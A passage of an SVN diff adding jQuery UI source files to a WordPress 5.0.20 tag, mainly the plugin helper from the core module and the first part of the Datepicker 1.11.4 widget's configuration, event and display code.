+		return 0;
+	}
+});
+
+// $.ui.plugin is deprecated. Use $.widget() extensions instead.
+$.ui.plugin = {
+	add: function( module, option, set ) {
+		var i,
+			proto = $.ui[ module ].prototype;
+		for ( i in set ) {
+			proto.plugins[ i ] = proto.plugins[ i ] || [];
+			proto.plugins[ i ].push( [ option, set[ i ] ] );
+		}
+	},
+	call: function( instance, name, args, allowDisconnected ) {
+		var i,
+			set = instance.plugins[ name ];
+
+		if ( !set ) {
+			return;
+		}
+
+		if ( !allowDisconnected && ( !instance.element[ 0 ].parentNode || instance.element[ 0 ].parentNode.nodeType === 11 ) ) {
+			return;
+		}
+
+		for ( i = 0; i < set.length; i++ ) {
+			if ( instance.options[ set[ i ][ 0 ] ] ) {
+				set[ i ][ 1 ].apply( instance.element, args );
+			}
+		}
+	}
+};
+
+}));
Index: /tags/5.0.20/src/wp-includes/js/jquery/ui/datepicker.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/ui/datepicker.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/ui/datepicker.js	(revision 56912)
@@ -0,0 +1,2084 @@
+/*!
+ * jQuery UI Datepicker 1.11.4
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ *
+ * http://api.jqueryui.com/datepicker/
+ */
+(function( factory ) {
+	if ( typeof define === "function" && define.amd ) {
+
+		// AMD. Register as an anonymous module.
+		define([
+			"jquery",
+			"./core"
+		], factory );
+	} else {
+
+		// Browser globals
+		factory( jQuery );
+	}
+}(function( $ ) {
+
+$.extend($.ui, { datepicker: { version: "1.11.4" } });
+
+var datepicker_instActive;
+
+function datepicker_getZindex( elem ) {
+	var position, value;
+	while ( elem.length && elem[ 0 ] !== document ) {
+		// Ignore z-index if position is set to a value where z-index is ignored by the browser
+		// This makes behavior of this function consistent across browsers
+		// WebKit always returns auto if the element is positioned
+		position = elem.css( "position" );
+		if ( position === "absolute" || position === "relative" || position === "fixed" ) {
+			// IE returns 0 when zIndex is not specified
+			// other browsers return a string
+			// we ignore the case of nested elements with an explicit value of 0
+			// <div style="z-index: -10;"><div style="z-index: 0;"></div></div>
+			value = parseInt( elem.css( "zIndex" ), 10 );
+			if ( !isNaN( value ) && value !== 0 ) {
+				return value;
+			}
+		}
+		elem = elem.parent();
+	}
+
+	return 0;
+}
+/* Date picker manager.
+   Use the singleton instance of this class, $.datepicker, to interact with the date picker.
+   Settings for (groups of) date pickers are maintained in an instance object,
+   allowing multiple different settings on the same page. */
+
+function Datepicker() {
+	this._curInst = null; // The current instance in use
+	this._keyEvent = false; // If the last event was a key event
+	this._disabledInputs = []; // List of date picker inputs that have been disabled
+	this._datepickerShowing = false; // True if the popup picker is showing , false if not
+	this._inDialog = false; // True if showing within a "dialog", false if not
+	this._mainDivId = "ui-datepicker-div"; // The ID of the main datepicker division
+	this._inlineClass = "ui-datepicker-inline"; // The name of the inline marker class
+	this._appendClass = "ui-datepicker-append"; // The name of the append marker class
+	this._triggerClass = "ui-datepicker-trigger"; // The name of the trigger marker class
+	this._dialogClass = "ui-datepicker-dialog"; // The name of the dialog marker class
+	this._disableClass = "ui-datepicker-disabled"; // The name of the disabled covering marker class
+	this._unselectableClass = "ui-datepicker-unselectable"; // The name of the unselectable cell marker class
+	this._currentClass = "ui-datepicker-current-day"; // The name of the current day marker class
+	this._dayOverClass = "ui-datepicker-days-cell-over"; // The name of the day hover marker class
+	this.regional = []; // Available regional settings, indexed by language code
+	this.regional[""] = { // Default regional settings
+		closeText: "Done", // Display text for close link
+		prevText: "Prev", // Display text for previous month link
+		nextText: "Next", // Display text for next month link
+		currentText: "Today", // Display text for current month link
+		monthNames: ["January","February","March","April","May","June",
+			"July","August","September","October","November","December"], // Names of months for drop-down and formatting
+		monthNamesShort: ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"], // For formatting
+		dayNames: ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"], // For formatting
+		dayNamesShort: ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"], // For formatting
+		dayNamesMin: ["Su","Mo","Tu","We","Th","Fr","Sa"], // Column headings for days starting at Sunday
+		weekHeader: "Wk", // Column header for week of the year
+		dateFormat: "mm/dd/yy", // See format options on parseDate
+		firstDay: 0, // The first day of the week, Sun = 0, Mon = 1, ...
+		isRTL: false, // True if right-to-left language, false if left-to-right
+		showMonthAfterYear: false, // True if the year select precedes month, false for month then year
+		yearSuffix: "" // Additional text to append to the year in the month headers
+	};
+	this._defaults = { // Global defaults for all the date picker instances
+		showOn: "focus", // "focus" for popup on focus,
+			// "button" for trigger button, or "both" for either
+		showAnim: "fadeIn", // Name of jQuery animation for popup
+		showOptions: {}, // Options for enhanced animations
+		defaultDate: null, // Used when field is blank: actual date,
+			// +/-number for offset from today, null for today
+		appendText: "", // Display text following the input box, e.g. showing the format
+		buttonText: "...", // Text for trigger button
+		buttonImage: "", // URL for trigger button image
+		buttonImageOnly: false, // True if the image appears alone, false if it appears on a button
+		hideIfNoPrevNext: false, // True to hide next/previous month links
+			// if not applicable, false to just disable them
+		navigationAsDateFormat: false, // True if date formatting applied to prev/today/next links
+		gotoCurrent: false, // True if today link goes back to current selection instead
+		changeMonth: false, // True if month can be selected directly, false if only prev/next
+		changeYear: false, // True if year can be selected directly, false if only prev/next
+		yearRange: "c-10:c+10", // Range of years to display in drop-down,
+			// either relative to today's year (-nn:+nn), relative to currently displayed year
+			// (c-nn:c+nn), absolute (nnnn:nnnn), or a combination of the above (nnnn:-n)
+		showOtherMonths: false, // True to show dates in other months, false to leave blank
+		selectOtherMonths: false, // True to allow selection of dates in other months, false for unselectable
+		showWeek: false, // True to show week of the year, false to not show it
+		calculateWeek: this.iso8601Week, // How to calculate the week of the year,
+			// takes a Date and returns the number of the week for it
+		shortYearCutoff: "+10", // Short year values < this are in the current century,
+			// > this are in the previous century,
+			// string value starting with "+" for current year + value
+		minDate: null, // The earliest selectable date, or null for no limit
+		maxDate: null, // The latest selectable date, or null for no limit
+		duration: "fast", // Duration of display/closure
+		beforeShowDay: null, // Function that takes a date and returns an array with
+			// [0] = true if selectable, false if not, [1] = custom CSS class name(s) or "",
+			// [2] = cell title (optional), e.g. $.datepicker.noWeekends
+		beforeShow: null, // Function that takes an input field and
+			// returns a set of custom settings for the date picker
+		onSelect: null, // Define a callback function when a date is selected
+		onChangeMonthYear: null, // Define a callback function when the month or year is changed
+		onClose: null, // Define a callback function when the datepicker is closed
+		numberOfMonths: 1, // Number of months to show at a time
+		showCurrentAtPos: 0, // The position in multipe months at which to show the current month (starting at 0)
+		stepMonths: 1, // Number of months to step back/forward
+		stepBigMonths: 12, // Number of months to step back/forward for the big links
+		altField: "", // Selector for an alternate field to store selected dates into
+		altFormat: "", // The date format to use for the alternate field
+		constrainInput: true, // The input is constrained by the current date format
+		showButtonPanel: false, // True to show button panel, false to not show it
+		autoSize: false, // True to size the input for the date format, false to leave as is
+		disabled: false // The initial disabled state
+	};
+	$.extend(this._defaults, this.regional[""]);
+	this.regional.en = $.extend( true, {}, this.regional[ "" ]);
+	this.regional[ "en-US" ] = $.extend( true, {}, this.regional.en );
+	this.dpDiv = datepicker_bindHover($("<div id='" + this._mainDivId + "' class='ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>"));
+}
+
+$.extend(Datepicker.prototype, {
+	/* Class name added to elements to indicate already configured with a date picker. */
+	markerClassName: "hasDatepicker",
+
+	//Keep track of the maximum number of rows displayed (see #7043)
+	maxRows: 4,
+
+	// TODO rename to "widget" when switching to widget factory
+	_widgetDatepicker: function() {
+		return this.dpDiv;
+	},
+
+	/* Override the default settings for all instances of the date picker.
+	 * @param  settings  object - the new settings to use as defaults (anonymous object)
+	 * @return the manager object
+	 */
+	setDefaults: function(settings) {
+		datepicker_extendRemove(this._defaults, settings || {});
+		return this;
+	},
+
+	/* Attach the date picker to a jQuery selection.
+	 * @param  target	element - the target input field or division or span
+	 * @param  settings  object - the new settings to use for this date picker instance (anonymous)
+	 */
+	_attachDatepicker: function(target, settings) {
+		var nodeName, inline, inst;
+		nodeName = target.nodeName.toLowerCase();
+		inline = (nodeName === "div" || nodeName === "span");
+		if (!target.id) {
+			this.uuid += 1;
+			target.id = "dp" + this.uuid;
+		}
+		inst = this._newInst($(target), inline);
+		inst.settings = $.extend({}, settings || {});
+		if (nodeName === "input") {
+			this._connectDatepicker(target, inst);
+		} else if (inline) {
+			this._inlineDatepicker(target, inst);
+		}
+	},
+
+	/* Create a new instance object. */
+	_newInst: function(target, inline) {
+		var id = target[0].id.replace(/([^A-Za-z0-9_\-])/g, "\\\\$1"); // escape jQuery meta chars
+		return {id: id, input: target, // associated target
+			selectedDay: 0, selectedMonth: 0, selectedYear: 0, // current selection
+			drawMonth: 0, drawYear: 0, // month being drawn
+			inline: inline, // is datepicker inline or not
+			dpDiv: (!inline ? this.dpDiv : // presentation div
+			datepicker_bindHover($("<div class='" + this._inlineClass + " ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")))};
+	},
+
+	/* Attach the date picker to an input field. */
+	_connectDatepicker: function(target, inst) {
+		var input = $(target);
+		inst.append = $([]);
+		inst.trigger = $([]);
+		if (input.hasClass(this.markerClassName)) {
+			return;
+		}
+		this._attachments(input, inst);
+		input.addClass(this.markerClassName).keydown(this._doKeyDown).
+			keypress(this._doKeyPress).keyup(this._doKeyUp);
+		this._autoSize(inst);
+		$.data(target, "datepicker", inst);
+		//If disabled option is true, disable the datepicker once it has been attached to the input (see ticket #5665)
+		if( inst.settings.disabled ) {
+			this._disableDatepicker( target );
+		}
+	},
+
+	/* Make attachments based on settings. */
+	_attachments: function(input, inst) {
+		var showOn, buttonText, buttonImage,
+			appendText = this._get(inst, "appendText"),
+			isRTL = this._get(inst, "isRTL");
+
+		if (inst.append) {
+			inst.append.remove();
+		}
+		if (appendText) {
+			inst.append = $("<span class='" + this._appendClass + "'>" + appendText + "</span>");
+			input[isRTL ? "before" : "after"](inst.append);
+		}
+
+		input.unbind("focus", this._showDatepicker);
+
+		if (inst.trigger) {
+			inst.trigger.remove();
+		}
+
+		showOn = this._get(inst, "showOn");
+		if (showOn === "focus" || showOn === "both") { // pop-up date picker when in the marked field
+			input.focus(this._showDatepicker);
+		}
+		if (showOn === "button" || showOn === "both") { // pop-up date picker when button clicked
+			buttonText = this._get(inst, "buttonText");
+			buttonImage = this._get(inst, "buttonImage");
+			inst.trigger = $(this._get(inst, "buttonImageOnly") ?
+				$("<img/>").addClass(this._triggerClass).
+					attr({ src: buttonImage, alt: buttonText, title: buttonText }) :
+				$("<button type='button'></button>").addClass(this._triggerClass).
+					html(!buttonImage ? buttonText : $("<img/>").attr(
+					{ src:buttonImage, alt:buttonText, title:buttonText })));
+			input[isRTL ? "before" : "after"](inst.trigger);
+			inst.trigger.click(function() {
+				if ($.datepicker._datepickerShowing && $.datepicker._lastInput === input[0]) {
+					$.datepicker._hideDatepicker();
+				} else if ($.datepicker._datepickerShowing && $.datepicker._lastInput !== input[0]) {
+					$.datepicker._hideDatepicker();
+					$.datepicker._showDatepicker(input[0]);
+				} else {
+					$.datepicker._showDatepicker(input[0]);
+				}
+				return false;
+			});
+		}
+	},
+
+	/* Apply the maximum length for the date format. */
+	_autoSize: function(inst) {
+		if (this._get(inst, "autoSize") && !inst.inline) {
+			var findMax, max, maxI, i,
+				date = new Date(2009, 12 - 1, 20), // Ensure double digits
+				dateFormat = this._get(inst, "dateFormat");
+
+			if (dateFormat.match(/[DM]/)) {
+				findMax = function(names) {
+					max = 0;
+					maxI = 0;
+					for (i = 0; i < names.length; i++) {
+						if (names[i].length > max) {
+							max = names[i].length;
+							maxI = i;
+						}
+					}
+					return maxI;
+				};
+				date.setMonth(findMax(this._get(inst, (dateFormat.match(/MM/) ?
+					"monthNames" : "monthNamesShort"))));
+				date.setDate(findMax(this._get(inst, (dateFormat.match(/DD/) ?
+					"dayNames" : "dayNamesShort"))) + 20 - date.getDay());
+			}
+			inst.input.attr("size", this._formatDate(inst, date).length);
+		}
+	},
+
+	/* Attach an inline date picker to a div. */
+	_inlineDatepicker: function(target, inst) {
+		var divSpan = $(target);
+		if (divSpan.hasClass(this.markerClassName)) {
+			return;
+		}
+		divSpan.addClass(this.markerClassName).append(inst.dpDiv);
+		$.data(target, "datepicker", inst);
+		this._setDate(inst, this._getDefaultDate(inst), true);
+		this._updateDatepicker(inst);
+		this._updateAlternate(inst);
+		//If disabled option is true, disable the datepicker before showing it (see ticket #5665)
+		if( inst.settings.disabled ) {
+			this._disableDatepicker( target );
+		}
+		// Set display:block in place of inst.dpDiv.show() which won't work on disconnected elements
+		// http://bugs.jqueryui.com/ticket/7552 - A Datepicker created on a detached div has zero height
+		inst.dpDiv.css( "display", "block" );
+	},
+
+	/* Pop-up the date picker in a "dialog" box.
+	 * @param  input element - ignored
+	 * @param  date	string or Date - the initial date to display
+	 * @param  onSelect  function - the function to call when a date is selected
+	 * @param  settings  object - update the dialog date picker instance's settings (anonymous object)
+	 * @param  pos int[2] - coordinates for the dialog's position within the screen or
+	 *					event - with x/y coordinates or
+	 *					leave empty for default (screen centre)
+	 * @return the manager object
+	 */
+	_dialogDatepicker: function(input, date, onSelect, settings, pos) {
+		var id, browserWidth, browserHeight, scrollX, scrollY,
+			inst = this._dialogInst; // internal instance
+
+		if (!inst) {
+			this.uuid += 1;
+			id = "dp" + this.uuid;
+			this._dialogInput = $("<input type='text' id='" + id +
+				"' style='position: absolute; top: -100px; width: 0px;'/>");
+			this._dialogInput.keydown(this._doKeyDown);
+			$("body").append(this._dialogInput);
+			inst = this._dialogInst = this._newInst(this._dialogInput, false);
+			inst.settings = {};
+			$.data(this._dialogInput[0], "datepicker", inst);
+		}
+		datepicker_extendRemove(inst.settings, settings || {});
+		date = (date && date.constructor === Date ? this._formatDate(inst, date) : date);
+		this._dialogInput.val(date);
+
+		this._pos = (pos ? (pos.length ? pos : [pos.pageX, pos.pageY]) : null);
+		if (!this._pos) {
+			browserWidth = document.documentElement.clientWidth;
+			browserHeight = document.documentElement.clientHeight;
+			scrollX = document.documentElement.scrollLeft || document.body.scrollLeft;
+			scrollY = document.documentElement.scrollTop || document.body.scrollTop;
+			this._pos = // should use actual width/height below
+				[(browserWidth / 2) - 100 + scrollX, (browserHeight / 2) - 150 + scrollY];
+		}
+
+		// move input on screen for focus, but hidden behind dialog
+		this._dialogInput.css("left", (this._pos[0] + 20) + "px").css("top", this._pos[1] + "px");
+		inst.settings.onSelect = onSelect;
+		this._inDialog = true;
+		this.dpDiv.addClass(this._dialogClass);
+		this._showDatepicker(this._dialogInput[0]);
+		if ($.blockUI) {
+			$.blockUI(this.dpDiv);
+		}
+		$.data(this._dialogInput[0], "datepicker", inst);
+		return this;
+	},
+
+	/* Detach a datepicker from its control.
+	 * @param  target	element - the target input field or division or span
+	 */
+	_destroyDatepicker: function(target) {
+		var nodeName,
+			$target = $(target),
+			inst = $.data(target, "datepicker");
+
+		if (!$target.hasClass(this.markerClassName)) {
+			return;
+		}
+
+		nodeName = target.nodeName.toLowerCase();
+		$.removeData(target, "datepicker");
+		if (nodeName === "input") {
+			inst.append.remove();
+			inst.trigger.remove();
+			$target.removeClass(this.markerClassName).
+				unbind("focus", this._showDatepicker).
+				unbind("keydown", this._doKeyDown).
+				unbind("keypress", this._doKeyPress).
+				unbind("keyup", this._doKeyUp);
+		} else if (nodeName === "div" || nodeName === "span") {
+			$target.removeClass(this.markerClassName).empty();
+		}
+
+		if ( datepicker_instActive === inst ) {
+			datepicker_instActive = null;
+		}
+	},
+
+	/* Enable the date picker to a jQuery selection.
+	 * @param  target	element - the target input field or division or span
+	 */
+	_enableDatepicker: function(target) {
+		var nodeName, inline,
+			$target = $(target),
+			inst = $.data(target, "datepicker");
+
+		if (!$target.hasClass(this.markerClassName)) {
+			return;
+		}
+
+		nodeName = target.nodeName.toLowerCase();
+		if (nodeName === "input") {
+			target.disabled = false;
+			inst.trigger.filter("button").
+				each(function() { this.disabled = false; }).end().
+				filter("img").css({opacity: "1.0", cursor: ""});
+		} else if (nodeName === "div" || nodeName === "span") {
+			inline = $target.children("." + this._inlineClass);
+			inline.children().removeClass("ui-state-disabled");
+			inline.find("select.ui-datepicker-month, select.ui-datepicker-year").
+				prop("disabled", false);
+		}
+		this._disabledInputs = $.map(this._disabledInputs,
+			function(value) { return (value === target ? null : value); }); // delete entry
+	},
+
+	/* Disable the date picker to a jQuery selection.
+	 * @param  target	element - the target input field or division or span
+	 */
+	_disableDatepicker: function(target) {
+		var nodeName, inline,
+			$target = $(target),
+			inst = $.data(target, "datepicker");
+
+		if (!$target.hasClass(this.markerClassName)) {
+			return;
+		}
+
+		nodeName = target.nodeName.toLowerCase();
+		if (nodeName === "input") {
+			target.disabled = true;
+			inst.trigger.filter("button").
+				each(function() { this.disabled = true; }).end().
+				filter("img").css({opacity: "0.5", cursor: "default"});
+		} else if (nodeName === "div" || nodeName === "span") {
+			inline = $target.children("." + this._inlineClass);
+			inline.children().addClass("ui-state-disabled");
+			inline.find("select.ui-datepicker-month, select.ui-datepicker-year").
+				prop("disabled", true);
+		}
+		this._disabledInputs = $.map(this._disabledInputs,
+			function(value) { return (value === target ? null : value); }); // delete entry
+		this._disabledInputs[this._disabledInputs.length] = target;
+	},
+
+	/* Is the first field in a jQuery collection disabled as a datepicker?
+	 * @param  target	element - the target input field or division or span
+	 * @return boolean - true if disabled, false if enabled
+	 */
+	_isDisabledDatepicker: function(target) {
+		if (!target) {
+			return false;
+		}
+		for (var i = 0; i < this._disabledInputs.length; i++) {
+			if (this._disabledInputs[i] === target) {
+				return true;
+			}
+		}
+		return false;
+	},
+
+	/* Retrieve the instance data for the target control.
+	 * @param  target  element - the target input field or division or span
+	 * @return  object - the associated instance data
+	 * @throws  error if a jQuery problem getting data
+	 */
+	_getInst: function(target) {
+		try {
+			return $.data(target, "datepicker");
+		}
+		catch (err) {
+			throw "Missing instance data for this datepicker";
+		}
+	},
+
+	/* Update or retrieve the settings for a date picker attached to an input field or division.
+	 * @param  target  element - the target input field or division or span
+	 * @param  name	object - the new settings to update or
+	 *				string - the name of the setting to change or retrieve,
+	 *				when retrieving also "all" for all instance settings or
+	 *				"defaults" for all global defaults
+	 * @param  value   any - the new value for the setting
+	 *				(omit if above is an object or to retrieve a value)
+	 */
+	_optionDatepicker: function(target, name, value) {
+		var settings, date, minDate, maxDate,
+			inst = this._getInst(target);
+
+		if (arguments.length === 2 && typeof name === "string") {
+			return (name === "defaults" ? $.extend({}, $.datepicker._defaults) :
+				(inst ? (name === "all" ? $.extend({}, inst.settings) :
+				this._get(inst, name)) : null));
+		}
+
+		settings = name || {};
+		if (typeof name === "string") {
+			settings = {};
+			settings[name] = value;
+		}
+
+		if (inst) {
+			if (this._curInst === inst) {
+				this._hideDatepicker();
+			}
+
+			date = this._getDateDatepicker(target, true);
+			minDate = this._getMinMaxDate(inst, "min");
+			maxDate = this._getMinMaxDate(inst, "max");
+			datepicker_extendRemove(inst.settings, settings);
+			// reformat the old minDate/maxDate values if dateFormat changes and a new minDate/maxDate isn't provided
+			if (minDate !== null && settings.dateFormat !== undefined && settings.minDate === undefined) {
+				inst.settings.minDate = this._formatDate(inst, minDate);
+			}
+			if (maxDate !== null && settings.dateFormat !== undefined && settings.maxDate === undefined) {
+				inst.settings.maxDate = this._formatDate(inst, maxDate);
+			}
+			if ( "disabled" in settings ) {
+				if ( settings.disabled ) {
+					this._disableDatepicker(target);
+				} else {
+					this._enableDatepicker(target);
+				}
+			}
+			this._attachments($(target), inst);
+			this._autoSize(inst);
+			this._setDate(inst, date);
+			this._updateAlternate(inst);
+			this._updateDatepicker(inst);
+		}
+	},
+
+	// change method deprecated
+	_changeDatepicker: function(target, name, value) {
+		this._optionDatepicker(target, name, value);
+	},
+
+	/* Redraw the date picker attached to an input field or division.
+	 * @param  target  element - the target input field or division or span
+	 */
+	_refreshDatepicker: function(target) {
+		var inst = this._getInst(target);
+		if (inst) {
+			this._updateDatepicker(inst);
+		}
+	},
+
+	/* Set the dates for a jQuery selection.
+	 * @param  target element - the target input field or division or span
+	 * @param  date	Date - the new date
+	 */
+	_setDateDatepicker: function(target, date) {
+		var inst = this._getInst(target);
+		if (inst) {
+			this._setDate(inst, date);
+			this._updateDatepicker(inst);
+			this._updateAlternate(inst);
+		}
+	},
+
+	/* Get the date(s) for the first entry in a jQuery selection.
+	 * @param  target element - the target input field or division or span
+	 * @param  noDefault boolean - true if no default date is to be used
+	 * @return Date - the current date
+	 */
+	_getDateDatepicker: function(target, noDefault) {
+		var inst = this._getInst(target);
+		if (inst && !inst.inline) {
+			this._setDateFromField(inst, noDefault);
+		}
+		return (inst ? this._getDate(inst) : null);
+	},
+
+	/* Handle keystrokes. */
+	_doKeyDown: function(event) {
+		var onSelect, dateStr, sel,
+			inst = $.datepicker._getInst(event.target),
+			handled = true,
+			isRTL = inst.dpDiv.is(".ui-datepicker-rtl");
+
+		inst._keyEvent = true;
+		if ($.datepicker._datepickerShowing) {
+			switch (event.keyCode) {
+				case 9: $.datepicker._hideDatepicker();
+						handled = false;
+						break; // hide on tab out
+				case 13: sel = $("td." + $.datepicker._dayOverClass + ":not(." +
+									$.datepicker._currentClass + ")", inst.dpDiv);
+						if (sel[0]) {
+							$.datepicker._selectDay(event.target, inst.selectedMonth, inst.selectedYear, sel[0]);
+						}
+
+						onSelect = $.datepicker._get(inst, "onSelect");
+						if (onSelect) {
+							dateStr = $.datepicker._formatDate(inst);
+
+							// trigger custom callback
+							onSelect.apply((inst.input ? inst.input[0] : null), [dateStr, inst]);
+						} else {
+							$.datepicker._hideDatepicker();
+						}
+
+						return false; // don't submit the form
+				case 27: $.datepicker._hideDatepicker();
+						break; // hide on escape
+				case 33: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
+							-$.datepicker._get(inst, "stepBigMonths") :
+							-$.datepicker._get(inst, "stepMonths")), "M");
+						break; // previous month/year on page up/+ ctrl
+				case 34: $.datepicker._adjustDate(event.target, (event.ctrlKey ?
+							+$.datepicker._get(inst, "stepBigMonths") :
+							+$.datepicker._get(inst, "stepMonths")), "M");
+						break; // next month/year on page down/+ ctrl
+				case 35: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._clearDate(event.target);
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // clear on ctrl or command +end
+				case 36: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._gotoToday(event.target);
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // current on ctrl or command +home
+				case 37: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._adjustDate(event.target, (isRTL ? +1 : -1), "D");
+						}
+						handled = event.ctrlKey || event.metaKey;
+						// -1 day on ctrl or command +left
+						if (event.originalEvent.altKey) {
+							$.datepicker._adjustDate(event.target, (event.ctrlKey ?
+								-$.datepicker._get(inst, "stepBigMonths") :
+								-$.datepicker._get(inst, "stepMonths")), "M");
+						}
+						// next month/year on alt +left on Mac
+						break;
+				case 38: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._adjustDate(event.target, -7, "D");
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // -1 week on ctrl or command +up
+				case 39: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._adjustDate(event.target, (isRTL ? -1 : +1), "D");
+						}
+						handled = event.ctrlKey || event.metaKey;
+						// +1 day on ctrl or command +right
+						if (event.originalEvent.altKey) {
+							$.datepicker._adjustDate(event.target, (event.ctrlKey ?
+								+$.datepicker._get(inst, "stepBigMonths") :
+								+$.datepicker._get(inst, "stepMonths")), "M");
+						}
+						// next month/year on alt +right
+						break;
+				case 40: if (event.ctrlKey || event.metaKey) {
+							$.datepicker._adjustDate(event.target, +7, "D");
+						}
+						handled = event.ctrlKey || event.metaKey;
+						break; // +1 week on ctrl or command +down
+				default: handled = false;
+			}
+		} else if (event.keyCode === 36 && event.ctrlKey) { // display the date picker on ctrl+home
+			$.datepicker._showDatepicker(this);
+		} else {
+			handled = false;
+		}
+
+		if (handled) {
+			event.preventDefault();
+			event.stopPropagation();
+		}
+	},
+
+	/* Filter entered characters - based on date format. */
+	_doKeyPress: function(event) {
+		var chars, chr,
+			inst = $.datepicker._getInst(event.target);
+
+		if ($.datepicker._get(inst, "constrainInput")) {
+			chars = $.datepicker._possibleChars($.datepicker._get(inst, "dateFormat"));
+			chr = String.fromCharCode(event.charCode == null ? event.keyCode : event.charCode);
+			return event.ctrlKey || event.metaKey || (chr < " " || !chars || chars.indexOf(chr) > -1);
+		}
+	},
+
+	/* Synchronise manual entry and field/alternate field. */
+	_doKeyUp: function(event) {
+		var date,
+			inst = $.datepicker._getInst(event.target);
+
+		if (inst.input.val() !== inst.lastVal) {
+			try {
+				date = $.datepicker.parseDate($.datepicker._get(inst, "dateFormat"),
+					(inst.input ? inst.input.val() : null),
+					$.datepicker._getFormatConfig(inst));
+
+				if (date) { // only if valid
+					$.datepicker._setDateFromField(inst);
+					$.datepicker._updateAlternate(inst);
+					$.datepicker._updateDatepicker(inst);
+				}
+			}
+			catch (err) {
+			}
+		}
+		return true;
+	},
+
+	/* Pop-up the date picker for a given input field.
+	 * If false returned from beforeShow event handler do not show.
+	 * @param  input  element - the input field attached to the date picker or
+	 *					event - if triggered by focus
+	 */
+	_showDatepicker: function(input) {
+		input = input.target || input;
+		if (input.nodeName.toLowerCase() !== "input") { // find from button/image trigger
+			input = $("input", input.parentNode)[0];
+		}
+
+		if ($.datepicker._isDisabledDatepicker(input) || $.datepicker._lastInput === input) { // already here
+			return;
+		}
+
+		var inst, beforeShow, beforeShowSettings, isFixed,
+			offset, showAnim, duration;
+
+		inst = $.datepicker._getInst(input);
+		if ($.datepicker._curInst && $.datepicker._curInst !== inst) {
+			$.datepicker._curInst.dpDiv.stop(true, true);
+			if ( inst && $.datepicker._datepickerShowing ) {
+				$.datepicker._hideDatepicker( $.datepicker._curInst.input[0] );
+			}
+		}
+
+		beforeShow = $.datepicker._get(inst, "beforeShow");
+		beforeShowSettings = beforeShow ? beforeShow.apply(input, [input, inst]) : {};
+		if(beforeShowSettings === false){
+			return;
+		}
+		datepicker_extendRemove(inst.settings, beforeShowSettings);
+
+		inst.lastVal = null;
+		$.datepicker._lastInput = input;
+		$.datepicker._setDateFromField(inst);
+
+		if ($.datepicker._inDialog) { // hide cursor
+			input.value = "";
+		}
+		if (!$.datepicker._pos) { // position below input
+			$.datepicker._pos = $.datepicker._findPos(input);
+			$.datepicker._pos[1] += input.offsetHeight; // add the height
+		}
+
+		isFixed = false;
+		$(input).parents().each(function() {
+			isFixed |= $(this).css("position") === "fixed";
+			return !isFixed;
+		});
+
+		offset = {left: $.datepicker._pos[0], top: $.datepicker._pos[1]};
+		$.datepicker._pos = null;
+		//to avoid flashes on Firefox
+		inst.dpDiv.empty();
+		// determine sizing offscreen
+		inst.dpDiv.css({position: "absolute", display: "block", top: "-1000px"});
+		$.datepicker._updateDatepicker(inst);
+		// fix width for dynamic number of date pickers
+		// and adjust position before showing
+		offset = $.datepicker._checkOffset(inst, offset, isFixed);
+		inst.dpDiv.css({position: ($.datepicker._inDialog && $.blockUI ?
+			"static" : (isFixed ? "fixed" : "absolute")), display: "none",
+			left: offset.left + "px", top: offset.top + "px"});
+
+		if (!inst.inline) {
+			showAnim = $.datepicker._get(inst, "showAnim");
+			duration = $.datepicker._get(inst, "duration");
+			inst.dpDiv.css( "z-index", datepicker_getZindex( $( input ) ) + 1 );
+			$.datepicker._datepickerShowing = true;
+
+			if ( $.effects && $.effects.effect[ showAnim ] ) {
+				inst.dpDiv.show(showAnim, $.datepicker._get(inst, "showOptions"), duration);
+			} else {
+				inst.dpDiv[showAnim || "show"](showAnim ? duration : null);
+			}
+
+			if ( $.datepicker._shouldFocusInput( inst ) ) {
+				inst.input.focus();
+			}
+
+			$.datepicker._curInst = inst;
+		}
+	},
+
+	/* Generate the date picker content. */
+	_updateDatepicker: function(inst) {
+		this.maxRows = 4; //Reset the max number of rows being displayed (see #7043)
+		datepicker_instActive = inst; // for delegate hover events
+		inst.dpDiv.empty().append(this._generateHTML(inst));
+		this._attachHandlers(inst);
+
+		var origyearshtml,
+			numMonths = this._getNumberOfMonths(inst),
+			cols = numMonths[1],
+			width = 17,
+			activeCell = inst.dpDiv.find( "." + this._dayOverClass + " a" );
+
+		if ( activeCell.length > 0 ) {
+			datepicker_handleMouseover.apply( activeCell.get( 0 ) );
+		}
+
+		inst.dpDiv.removeClass("ui-datepicker-multi-2 ui-datepicker-multi-3 ui-datepicker-multi-4").width("");
+		if (cols > 1) {
+			inst.dpDiv.addClass("ui-datepicker-multi-" + cols).css("width", (width * cols) + "em");
+		}
+		inst.dpDiv[(numMonths[0] !== 1 || numMonths[1] !== 1 ? "add" : "remove") +
+			"Class"]("ui-datepicker-multi");
+		inst.dpDiv[(this._get(inst, "isRTL") ? "add" : "remove") +
+			"Class"]("ui-datepicker-rtl");
+
+		if (inst === $.datepicker._curInst && $.datepicker._datepickerShowing && $.datepicker._shouldFocusInput( inst ) ) {
+			inst.input.focus();
+		}
+
+		// deffered render of the years select (to avoid flashes on Firefox)
+		if( inst.yearshtml ){
+			origyearshtml = inst.yearshtml;
+			setTimeout(function(){
+				//assure that inst.yearshtml didn't change.
+				if( origyearshtml === inst.yearshtml && inst.yearshtml ){
+					inst.dpDiv.find("select.ui-datepicker-year:first").replaceWith(inst.yearshtml);
+				}
+				origyearshtml = inst.yearshtml = null;
+			}, 0);
+		}
+	},
+
+	// #6694 - don't focus the input if it's already focused
+	// this breaks the change event in IE
